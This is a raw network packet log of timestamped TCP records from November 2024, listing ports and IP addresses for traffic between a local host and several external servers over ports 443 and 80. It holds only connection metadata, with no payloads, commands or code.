Nov 23, 2024 17:44:22.447228909 CET	49735	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.447498083 CET	49735	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.447590113 CET	443	49735	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.447626114 CET	49735	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.449245930 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.449424982 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.449438095 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.452860117 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.452918053 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.453181982 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.453263998 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.453285933 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.454607010 CET	49736	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.495337963 CET	443	49735	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.495353937 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.501461029 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.501475096 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.501490116 CET	49735	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.501497984 CET	443	49735	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.547699928 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.547801971 CET	49735	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.666615009 CET	443	49734	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.666887045 CET	49734	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.666908026 CET	443	49734	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.668675900 CET	443	49734	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.668761969 CET	49734	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.669032097 CET	49734	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.669111967 CET	443	49734	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.669182062 CET	49734	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.669189930 CET	443	49734	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.720295906 CET	49734	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:23.203965902 CET	49742	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:44:23.204070091 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:23.204222918 CET	49742	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:44:23.205904007 CET	49735	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:23.206002951 CET	443	49735	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.206142902 CET	49735	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:23.228914976 CET	49742	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:44:23.228955030 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:23.713490963 CET	443	49736	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.713707924 CET	443	49736	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.713768959 CET	49736	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:23.715063095 CET	49736	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:23.715095043 CET	443	49736	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.793190956 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.793255091 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.793301105 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.793374062 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.793375015 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:23.793406010 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.793453932 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:23.805548906 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.805948019 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:23.814292908 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.852034092 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.852088928 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:23.852102041 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.873409986 CET	443	49734	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.874881983 CET	443	49734	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.874943018 CET	49734	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:23.875581026 CET	49734	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:23.875591040 CET	443	49734	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.876980066 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.877022028 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:23.877023935 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.877039909 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.877393007 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:23.877403975 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.923145056 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:23.923160076 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:23.970787048 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:23.994596958 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.010632992 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.010694981 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.010710955 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.022205114 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.022260904 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.022273064 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.034449100 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.034512043 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.034523010 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.046875000 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.046932936 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.046942949 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.065222979 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.065274954 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.065287113 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.080775023 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.080846071 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.080868959 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.094046116 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.094114065 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.094130039 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.104898930 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.104958057 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.104973078 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.119585991 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.119656086 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.119671106 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.132960081 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.133105993 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.133124113 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.146253109 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.146330118 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.146346092 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.189446926 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.189466000 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.218264103 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.218333006 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.218347073 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.220211029 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.220268011 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.220278025 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.232639074 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.233314037 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.233331919 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.233920097 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.233989954 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.233999014 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.242907047 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.243690968 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.243706942 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.255146027 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.255211115 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.255228043 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.266421080 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.266489983 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.266500950 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.282156944 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.282219887 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.282232046 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.288427114 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.288492918 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.288506031 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.297161102 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.297216892 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.297230005 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.300941944 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.301455975 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.301464081 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.311868906 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.311929941 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.311944962 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.323690891 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.323785067 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.323796988 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.333728075 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.333847046 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.333856106 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.344048977 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.344099998 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.344110012 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.353817940 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.353884935 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.353899956 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.363648891 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.363713026 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.363733053 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.373136044 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.373198032 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.373212099 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.382684946 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.382745028 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.382760048 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.388874054 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.388926029 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.388935089 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.398179054 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.398238897 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.398248911 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.411262989 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.413589001 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.413599014 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.418078899 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.418266058 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.418275118 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.432862997 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.434046030 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.434063911 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.434360027 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.434427023 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.434436083 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.438666105 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.438730955 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.438739061 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.443814993 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.443877935 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.443886042 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.449120045 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.449182034 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.449189901 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.451096058 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.451143980 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.451152086 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.456227064 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.456279993 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.456288099 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.457427025 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.457479000 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.457488060 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.459446907 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.459506035 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.459651947 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:24.459666014 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:24.616967916 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:24.617297888 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:24.738692045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:24.739031076 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:24.739116907 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:24.739296913 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:24.789936066 CET	49749	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:24.789999962 CET	443	49749	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:24.790102959 CET	49749	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:24.791217089 CET	49749	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:24.791250944 CET	443	49749	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:24.859107971 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:25.048597097 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:25.048675060 CET	49742	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:44:25.052289963 CET	49742	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:44:25.052316904 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:25.052694082 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:25.095478058 CET	49742	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:44:26.264780998 CET	443	49749	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:26.264918089 CET	49749	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:26.267663956 CET	49749	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:26.267683983 CET	443	49749	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:26.268030882 CET	443	49749	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:26.313503981 CET	49749	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:26.359354973 CET	443	49749	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:26.563699007 CET	49742	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:44:26.571788073 CET	49723	80	192.168.2.4	199.232.210.172
Nov 23, 2024 17:44:26.611356020 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:26.625735998 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:26.625878096 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:26.691648006 CET	80	49723	199.232.210.172	192.168.2.4
Nov 23, 2024 17:44:26.691728115 CET	49723	80	192.168.2.4	199.232.210.172
Nov 23, 2024 17:44:26.709376097 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:26.709449053 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:26.796283960 CET	443	49749	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:26.796384096 CET	443	49749	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:26.796485901 CET	49749	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:26.796569109 CET	49749	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:26.796569109 CET	49749	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:26.796606064 CET	443	49749	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:26.796632051 CET	443	49749	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:26.834616899 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:26.834775925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:26.834873915 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:26.843383074 CET	49752	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:26.843452930 CET	443	49752	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:26.843663931 CET	49752	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:26.844504118 CET	49752	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:26.844533920 CET	443	49752	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:27.151407003 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:27.151441097 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:27.151452065 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:27.151490927 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:27.151505947 CET	49742	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:44:27.151566982 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:27.151595116 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:27.151627064 CET	49742	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:44:27.151650906 CET	49742	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:44:27.168781996 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:27.168859005 CET	49742	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:44:27.168876886 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:27.175721884 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:27.175792933 CET	49742	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:44:27.686223030 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:27.686528921 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:27.704157114 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:27.823812008 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:28.308151007 CET	443	49752	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:28.308248997 CET	49752	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:28.392745018 CET	49752	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:28.392765045 CET	443	49752	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:28.393261909 CET	443	49752	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:28.398408890 CET	49752	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:28.439347029 CET	443	49752	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:28.474704027 CET	49742	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:44:28.474742889 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:28.474953890 CET	49742	443	192.168.2.4	4.175.87.197
Nov 23, 2024 17:44:28.474971056 CET	443	49742	4.175.87.197	192.168.2.4
Nov 23, 2024 17:44:28.668670893 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:28.668759108 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:28.833549976 CET	443	49752	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:28.833631039 CET	443	49752	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:28.833745003 CET	49752	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:28.834544897 CET	49752	443	192.168.2.4	2.18.109.164
Nov 23, 2024 17:44:28.834566116 CET	443	49752	2.18.109.164	192.168.2.4
Nov 23, 2024 17:44:29.131340027 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:29.252886057 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.079761028 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.079842091 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:30.372514009 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:30.492207050 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.828917980 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.829015970 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.829056978 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:30.829080105 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.829097033 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.829113007 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.829119921 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:30.829119921 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:30.829145908 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:30.829165936 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:30.829174042 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.829190016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.829232931 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:30.829232931 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:30.837423086 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.837488890 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:30.837589025 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.837634087 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:30.845793009 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.845861912 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:30.845901966 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.845944881 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:30.854125023 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.854175091 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:30.954130888 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.954171896 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:30.954221964 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:30.955265999 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.030075073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.030172110 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.030181885 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.030229092 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.034219027 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.034286022 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.035831928 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.035881042 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.035916090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.035962105 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.044271946 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.044326067 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.044363976 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.044408083 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.052640915 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:31.052699089 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:31.052728891 CET	80	49745	185.215.113.206	192.168.2.4
